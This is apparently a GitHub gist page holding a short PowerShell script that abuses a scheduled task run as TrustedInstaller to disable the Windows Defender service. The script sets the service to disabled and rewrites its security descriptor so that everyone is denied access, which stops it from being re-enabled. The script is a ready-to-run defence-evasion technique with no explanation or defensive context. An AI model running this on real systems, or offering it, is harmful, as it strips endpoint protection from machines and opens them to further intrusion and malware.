Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Forked from tyranid/doh.ps1
Created February 17, 2022 22:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mgeeky/1cae4ab33fc9b0f63c4e2f11ae885ae6 to your computer and use it in GitHub Desktop.
Save mgeeky/1cae4ab33fc9b0f63c4e2f11ae885ae6 to your computer and use it in GitHub Desktop.
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
$task = $folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment